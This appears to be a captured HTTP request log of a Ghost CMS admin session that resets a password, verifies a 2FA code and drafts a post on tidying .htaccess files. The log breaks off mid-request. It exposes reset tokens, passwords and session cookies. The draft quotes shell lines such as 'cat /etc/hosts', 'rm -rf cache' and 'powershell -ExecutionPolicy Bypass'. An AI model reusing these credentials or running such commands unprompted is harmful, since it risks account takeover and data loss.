{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/overview-BDaNMWAn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/post-utils-BquGrXlP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/post-helpers-LZp03sYO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/date-utils-z22LS7qM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/date-range-select-BlnphfjU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/card-DPXlaRvx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/gh-chart-BI-8tErJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chart-Cf6NuIj-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pagemenu-65l5c8WQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/kpi-card-CHygnBnv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trend-badge-wNKjMxTt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/stats-view-BK_XhwrN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/list-page-CnIBL9cj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-analytics-data-D2HOTQf5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-growth-stats-Bgr_JFJl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/audience-CXSF0dEC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/url-helpers-mynMXAVw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/post-share-modal-If8BRdxt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/feature-image-placeholder-CS1tmsUg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/signin-verify-Bf6SrUvA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/session/verify/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"token\":\"172997\"}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/snippets/?limit=all&formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&fields=id%2Curl%2Ctitle%2Cvisibility%2Cpublished_at&order=published_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-filesa-short-guide-for-site-owners-powershell-python3-and-the-shell-getting-started-run-ls-la-in-your-web-root-then-open-the-htaccess-guide-on-windows-use-powershell-instead-its-the-same-idea-a-small-script-usr-bin-env-python3-import-os-subprocess-for-name-in-sorted-os-listdir-print-name-subprocess-run-ls-la-var-www-html-check-true-cat-etc-hosts-grep-example-ls-la-var-www-html-htaccess-chmod-644-htaccess-mysql-e-select-id-title-from-posts-where-status-published-order-by-id-desc-limit-5-document-queryselectorall-a-foreach-a-gt-console-log-a-href-window-onload-gt-alert-ready-keep-your-htaccess-small-said-one-reader-and-python3-agrees-python3-m-venv-venv-amp-amp-source-venv-bin-activatepowershell-executionpolicy-bypass-file-build-ps1edit-etc-nginx-sites-available-default-then-reload-back-up-wp-config-php-and-envrun-rm-rf-cache-questions-email-help-example-com-or-see-the-search-page/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-files/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 509", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=all&include=count.active_members", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?filter=&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af45887d281b00001a59965/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 511", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af458a5d281b00001a59969/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 339", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCPTDGrlBBdJzmvpK", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryCPTDGrlBBdJzmvpK\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n------WebKitFormBoundaryCPTDGrlBBdJzmvpK--\r\n"}
|
|
||||||
{"method": "GET", "target": "/content/images/2026/11/photo.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 6796", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same 